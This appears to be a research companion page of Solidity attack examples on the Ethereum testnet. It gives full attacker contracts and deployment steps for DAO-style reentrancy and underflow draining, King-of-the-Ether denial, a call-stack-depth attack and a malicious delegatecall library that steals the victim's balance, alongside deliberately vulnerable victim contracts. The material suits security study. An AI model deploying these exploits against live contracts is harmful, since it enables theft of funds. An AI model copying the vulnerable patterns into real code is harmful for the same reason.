Attacks

The examples below were tested under the Ethereum testnet (Morden). All the contracts were firstly compiled with Solidity version 0.3.1 and then retested under version 0.4.2. For all the 0.4.2 examples, the following additions were needed: (1) a (fake) check of return code of send/call so to not make the compiler warns about it, (2) line “pragma solidity ^0.4.2;” , (3) keyword payable in all the functions which wants to receive ether.

SimpleDAO

This attack has two versions. For the first one: (1) deploy SimpleDAO (2) then deploy Mallory passing DAO’s address at creation time (3) donate some ether for Mallory on the DAO (the more you donate, the quicker the attack) (4) wait for others to increase the DAO balance (5) invoke Mallory’s fallback to empty the DAO.

For the second one: (1) deploy SimpleDAO (2) then deploy Mallory2 passing DAO’s address at creation time (3) wait for others to increase the DAO balance (4) then invoke Mallory2’s attack function providing 1wei, to make Mallory2 DAO balance to underflow (6) invoke getJackpot to empty the DAO.

SimpleDAO_0.3.1.sol | SimpleDAO_0.4.2.sol

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
contract SimpleDAO {
  mapping (address => uint) public credit;
    
  function donate(address to) {
    credit[to] += msg.value;
  }
    
  function withdraw(uint amount) {
    if (credit[msg.sender]>= amount) {
      msg.sender.call.value(amount)();
      credit[msg.sender]-=amount;
    }
  }  

  function queryCredit(address to) returns (uint){
    return credit[to];
  }
}


contract Mallory {
  SimpleDAO public dao;
  address owner;

  function Mallory(SimpleDAO addr){ 
    owner = msg.sender;
    dao = addr;
  }
  
  function getJackpot() { 
    owner.send(this.balance); 
  }

  function() { 
    dao.withdraw(dao.queryCredit(this)); 
  }
}

contract Mallory2 {
  SimpleDAO public dao;
  address owner; 
  bool public performAttack = true;

  function Mallory2(SimpleDAO addr){
    owner = msg.sender;
    dao = addr;
  }
    
  function attack()  {
    dao.donate.value(1)(this);
    dao.withdraw(1);
  }

  function getJackpot(){
    dao.withdraw(dao.balance);
    owner.send(this.balance);
    performAttack = true;
  }

  function() {
    if (performAttack) {
       performAttack = false;
       dao.withdraw(1);
    }
  }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
pragma solidity ^0.4.2;

contract SimpleDAO {   
  mapping (address => uint) public credit;
    
  function donate(address to) payable {
    credit[to] += msg.value;
  }
    
  function withdraw(uint amount) {
    if (credit[msg.sender]>= amount) {
      bool res = msg.sender.call.value(amount)();
      credit[msg.sender]-=amount;
    }
  }  

  function queryCredit(address to) returns (uint){
    return credit[to];
  }
}


contract Mallory {
  SimpleDAO public dao;
  address owner;

  function Mallory(SimpleDAO addr){ 
    owner = msg.sender;
    dao = addr;
  }
  
  function getJackpot() { 
    bool res = owner.send(this.balance); 
  }

  function() payable { 
    dao.withdraw(dao.queryCredit(this)); 
  }
}

contract Mallory2 {
  SimpleDAO public dao;
  address owner; 
  bool public performAttack = true;

  function Mallory2(SimpleDAO addr){
    owner = msg.sender;
    dao = addr;
  }
    
  function attack() payable{
    dao.donate.value(1)(this);
    dao.withdraw(1);
  }

  function getJackpot(){
    dao.withdraw(dao.balance);
    bool res = owner.send(this.balance);
    performAttack = true;
  }

  function() payable {
    if (performAttack) {
       performAttack = false;
       dao.withdraw(1);
    }
  }
}

KotET

Contract KotET does not check return code for send function. Hence, since send function is equipped with a few gas, the send at line 20 will fail if the king’s address is that of a contract with an expensive fallback. In this case, since send does not propagate exceptions, the compensation is kept by the contract.

Contract KotET2 does check return code for send function but is vulnerable to get stuck. The attack works as follows: (1) deploy KotET2 providing at least 1ether at creation time; (2) let others play along; (3) deploy Mallory contract; (4) invoke Mallory’s unseatKing function to secure the King’s throne forever.

KotET_0.3.1.sol | KotET_0.4.2.sol

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
contract KotET {
  address public king;  
  uint public claimPrice = 100;
  address owner;

  function KotET() { 
    owner = msg.sender;  
    king = msg.sender;
    if (msg.value<1 ether) throw;
  }
   
  function sweepCommission(uint amount)  {
    owner.send(amount);
  }  

  function() {     
    if (msg.value < claimPrice) throw;
    
    uint compensation = calculateCompensation();     
    king.send(compensation);  
    king = msg.sender;        
    claimPrice = calculateNewPrice();    
  }  
  
  function calculateCompensation() private returns(uint) {
    return claimPrice+100;
  }
  
  function calculateNewPrice() private returns(uint) {
    return msg.value+100;
  }
}

contract KotET2 {
  address public king;  
  uint public claimPrice = 100;
  address owner;

  function KotET2() { 
    owner = msg.sender;  
    king = msg.sender;
    if (msg.value<1 ether) throw;
  }
   
  function sweepCommission(uint amount)  {
    owner.send(amount);
  }  

  function() {     
    if (msg.value < claimPrice) throw;
    
    uint compensation = calculateCompensation();     
    if (!king.call.value(compensation)()) throw;  
    king = msg.sender;        
    claimPrice = calculateNewPrice();    
  }  
  
  function calculateCompensation() private returns(uint) {
    return claimPrice+100;
  }
  
    function calculateNewPrice() private returns(uint) {
    return msg.value+100;
  }
}

contract Bob {
  uint public count;
    
  function unseatKing(address king, uint w){
    king.call.value(w)();
  }
    
  function() {
    count++;
  }
}

contract Mallory {
    
  function unseatKing(address king, uint w){
    king.call.value(w)();
  }
    
  function() {
    throw;
  }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
pragma solidity ^0.4.2;

contract KotET {   
  address public king;  
  uint public claimPrice = 100;
  address owner;

  function KotET() { 
    owner = msg.sender;  
    king = msg.sender;
    if (msg.value<1 ether) throw;
  }
   
  function sweepCommission(uint amount)  {
    bool res = owner.send(amount);
  }  

  function() payable {     
    if (msg.value < claimPrice) throw;
    
    uint compensation = calculateCompensation();     
    bool res = king.send(compensation);  
    king = msg.sender;        
    claimPrice = calculateNewPrice();    
  }  
  
  function calculateCompensation() private returns(uint) {
    return claimPrice+100;
  }
  
  function calculateNewPrice() private returns(uint) {
    return msg.value+200;
  }
}

contract KotET2 {
  address public king;  
  uint public claimPrice = 100;
  address owner;

  function KotET2() { 
    owner = msg.sender;  
    king = msg.sender;
  }
   
  function sweepCommission(uint amount)  {
    bool res = owner.send(amount);
  }  

  function() payable {     
    if (msg.value < claimPrice) throw;
    
    uint compensation = calculateCompensation();     
    if (!king.call.value(compensation)()) throw;  
    king = msg.sender;        
    claimPrice = calculateNewPrice();    
  }  
  
  function calculateCompensation() private returns(uint) {
    return claimPrice+100;
  }
  
  function calculateNewPrice()  private returns(uint) {
    return claimPrice+200;
  }

}


contract Bob {
  uint public count;
    
  function unseatKing(address king, uint w){
    bool res = king.call.value(w)();
  }
    
  function() payable{
    count++;
  }
}


contract Mallory {
    
  function unseatKing(address king, uint w){
    bool res = king.call.value(w)();
  }
    
  function() payable {
    throw;
  }
}

OddsAndEvens

OddsAndEvens_0.3.1.sol | OddsAndEvens_0.4.2.sol

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
contract OddsAndEvens{

  struct Player {
    address addr;
    uint number;
  }
  
  Player[2] public players;         //public only for debug purpose

  uint8 tot;
  address owner;

  function OddsAndEvens() {
    owner = msg.sender;
  }
  
  function play(uint number) {
    if (msg.value != 1 ether) throw;
    
    players[tot] = Player(msg.sender, number);
    tot++;
    
    if (tot==2) andTheWinnerIs();
  }
  
  function andTheWinnerIs() private {
    uint n = players[0].number+players[1].number;
    if (n%2==0) {
      players[0].addr.send(1800 finney);
    }
    else {
      players[1].addr.send(1800 finney);
    }
        
    delete players;
    tot=0;
  }
  
  function getProfit() {
    if(msg.sender!=owner) throw;
    msg.sender.send(this.balance);
  }

}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
pragma solidity ^0.4.2;

contract OddsAndEvens{

  struct Player {
    address addr;
    uint number;
  }
  
  Player[2] public players;         //public only for debug purpose

  uint8 tot;
  address owner;

  function OddsAndEvens() {
    owner = msg.sender;
  }
  
  function play(uint number) payable{
    if (msg.value != 1 ether) throw;
    
    players[tot] = Player(msg.sender, number);
    tot++;
    
    if (tot==2) andTheWinnerIs();
  }
  
  function andTheWinnerIs() private {
    bool res ;
    uint n = players[0].number+players[1].number;
    if (n%2==0) {
      res = players[0].addr.send(1800 finney);
    }
    else {
      res = players[1].addr.send(1800 finney);
    }
        
    delete players;
    tot=0;
  }
  
  function getProfit() {
    if(msg.sender!=owner) throw;
    bool res = msg.sender.send(this.balance);
  }

}

Governmental

This attack works as follows: (1) deploy Governmental providing at least 1ether at creation time; (2) let others play along so that the jackpot increase; (3) deploy Attacker contract; (4) invoke Attacker’s attack function to prevent the jackpot to be delivered to the legit winner.

From Solidity 0.4.2, the cost of external function calling has been increased so that it is impossible to fill the stack: any attempt will cause an out-of-gas exception. This makes the attack no longer possible.

Governmental_0.3.1.sol

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
contract Governmental {
  address public owner;
  address public lastInvestor;
  uint public jackpot = 1 ether;
  uint public lastInvestmentTimestamp;
  uint public ONE_MINUTE = 1 minutes;

  function Governmental() {
    owner = msg.sender;
    if (msg.value<1 ether) throw;
  }
  
  function invest() {
    if (msg.value<jackpot/2) throw;
    lastInvestor = msg.sender;
    jackpot += msg.value/2;
    lastInvestmentTimestamp = block.timestamp;
  }
  
  function resetInvestment() {
    if (block.timestamp < lastInvestmentTimestamp+ONE_MINUTE)
      throw;
      
    lastInvestor.send(jackpot);    
    owner.send(this.balance-1 ether);
    
    lastInvestor = 0;
    jackpot = 1 ether;
    lastInvestmentTimestamp = 0;
  }
}

contract Attacker {
  
  function attack(address target, uint count) {
    if (0<=count && count<1023) {
      this.attack.gas(msg.gas-2000)(target, count+1);
    }
    else {
      Governmental(target).resetInvestment();
    }
  }
}

Dynamic Libraries

We now consider a contract which can dynamically update one of its components, which is a library of operation on sets. Therefore, if a more efficient implementation of these operations is developed, or if a bug is fixed, the contract can use the new version of the library.

SetProvider_0.3.1.sol | SetProvider_0.4.2.sol

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
contract SetProvider {
    
    address public setLibAddr;
    address public owner;
    
    function SetProvider() {
        owner = msg.sender;
    }
    
    function updateLibrary(address arg) {
        if (msg.sender==owner)
            setLibAddr = arg;
    }
    
    function getSet() returns (address) {
        return setLibAddr;
    }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
pragma solidity ^0.4.2;

contract SetProvider {
    
    address public setLibAddr;
    address public owner;
    
    function SetProvider() {
        owner = msg.sender;
    }
    
    function updateLibrary(address arg) {
        if (msg.sender==owner)
            setLibAddr = arg;
    }
    
    function getSet() returns (address) {
        return setLibAddr;
    }
}

Set_0.3.1.sol | Set_0.4.2.sol

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
library Set {
  
    struct Data { mapping(uint => bool) flags; }

    function insert(Data storage self, uint value) public returns (bool) {
        if (self.flags[value])
            return false; // already there
        self.flags[value] = true;
        return true;
    }

    function remove(Data storage self, uint value) public returns (bool) {
        if (!self.flags[value])
            return false; // not there
        self.flags[value] = false;
        return true;
    }

    function contains(Data storage self, uint value) public returns (bool) {
        return self.flags[value];
    }
    
    function version() returns(uint) {
        return 1;
    }
}
1
2
3
4
5
6
7
pragma solidity ^0.4.2;

contract Set {
    uint8 public result;
    function setResult(uint8 res){result = res; } 
    function version(){  this.setResult(3);  }
}

The owner of contract SetProvider can use function updateLibrary to replace the library address with a new one. Any user can obtain the address of the library via getSet. The library Set implements some basic set operations. Libraries are special contracts, which e.g. cannot have mutable fields. When a user declares that an interface is a library, direct calls to any of its functions are done via delegatecall. Arguments tagged as storage are passed by reference.

Assume that Bob is the contract of an honest user of SetProvider. In particular, Bob queries for the library version via getSetVersion (from Solidity v0.4.2., it is no longer possible to instantiate a library via Set(addr): instead, the library address must be set via command line(see Solidity libraries documentation). However, a similar attack is still possible by using delegatecall)

Bob_0.3.1.sol | Bob_0.4.2.sol

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// Set interface
library Set {
  
    struct Data { mapping(uint => bool) flags; }

    function insert(Data storage self, uint value) returns (bool);
    function remove(Data storage self, uint value) returns (bool);
    function contains(Data storage self, uint value) returns (bool);
    function version() returns (uint);
}

// SetProvider interface
contract SetProvider { 
    function getSet() returns (Set);
}

contract Bob {
    Set.Data knownValues;

    address public providerAddr;
    
    function Bob(address arg) {
        providerAddr = arg; 
    }

    function getSetVersion() returns (uint) {
        address setAddr = SetProvider(providerAddr).getSet();
        return Set(setAddr).version();  //works only until version 0.3.2
    }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
pragma solidity ^0.4.2;

// Set interface
library Set {
  
    struct Data { mapping(uint => bool) flags; }

    function insert(Data storage self, uint value) returns (bool);
    function remove(Data storage self, uint value) returns (bool);
    function contains(Data storage self, uint value) returns (bool);
    function version() returns (uint);
}

// SetProvider interface
contract SetProvider { 
    function getSet() returns (Set);
}

contract Bob { 
    address public providerAddr;
    uint8 public result;
    
    function setResult(uint8 res){ result = res; } 
    function setProvider(address arg) { providerAddr = arg; }
    
    function getVersion() returns (uint) {
        address setAddr = SetProvider(providerAddr).getSet();
        bool res = setAddr.delegatecall.gas(55555)(
                   bytes4(sha3("version()")));

        return result; 
    }
}

Now, assume that the owner of setProvider is also an adversary. She can attack Bob as follows, with the goal of stealing all his ether. In the first step of the attack, the adversary publishes a new library MaliciousSet, and then it invokes the function updateLibrary of SetProvider to make it point to MaliciousSet.

MaliciousSet_0.3.1.sol | MaliciousSet_0.4.2.sol

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
library MaliciousSet {
  
    struct Data { mapping(uint => bool) flags; }

    // set an account under your control
    address constant attackerAddr = 0x42;
    
    function insert(Data storage self, uint value) public returns (bool) {return false;}
    function remove(Data storage self, uint value) public returns (bool) {return false;}
    function contains(Data storage self, uint value) public returns (bool) {return false;}
    
    function version() returns(uint) {
        attackerAddr.send(this.balance);
        //selfdestruct(attackerAddr);  //this works as well
        return 1;
    }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
pragma solidity ^0.4.2;

contract MaliciousSet {
  
    address constant attackerAddr = 0x35..; //malevolent address

    uint8 public result;
    
    function setResult(uint8 res){result = res; } 
    function version(){ 
        this.setResult(5); 
        bool res = attackerAddr.send(this.balance); 
        //selfdestruct(attackerAddr);  //this works as well
    }  
}

Note that MaliciousSet performs a send at line 4, to transfer ether to the adversary. Since Bob has declared the interface Set as a library, any direct call to version is implemented as a delegatecall, and thus executed in Bob‘s environment. Hence, this.balance in the send at line 4 actually refers to Bob‘s balance, causing the send to transfer all his ether to the adversary. After that, the function correctly returns the version number.

Another way to craft a malicious library is to use the function selfdestruct. This is a special function, which disables the contract which executes it and send all its balance to a target address. More specifically, the adversary can replace line 4 of MaliciousSet with selfdestruct(attackerAddr).

This will disable Bob‘s contract forever, and send his balance to the adversary.

The attack outlined above exploits the unpredictable state vulnerability, because Bob cannot know which version of the library will be executed when it used SetProvider. More in general, the main issue of libraries is the presence of parts which are updated after the contract has been published. This allows an adversary to change these parts with malicious ones.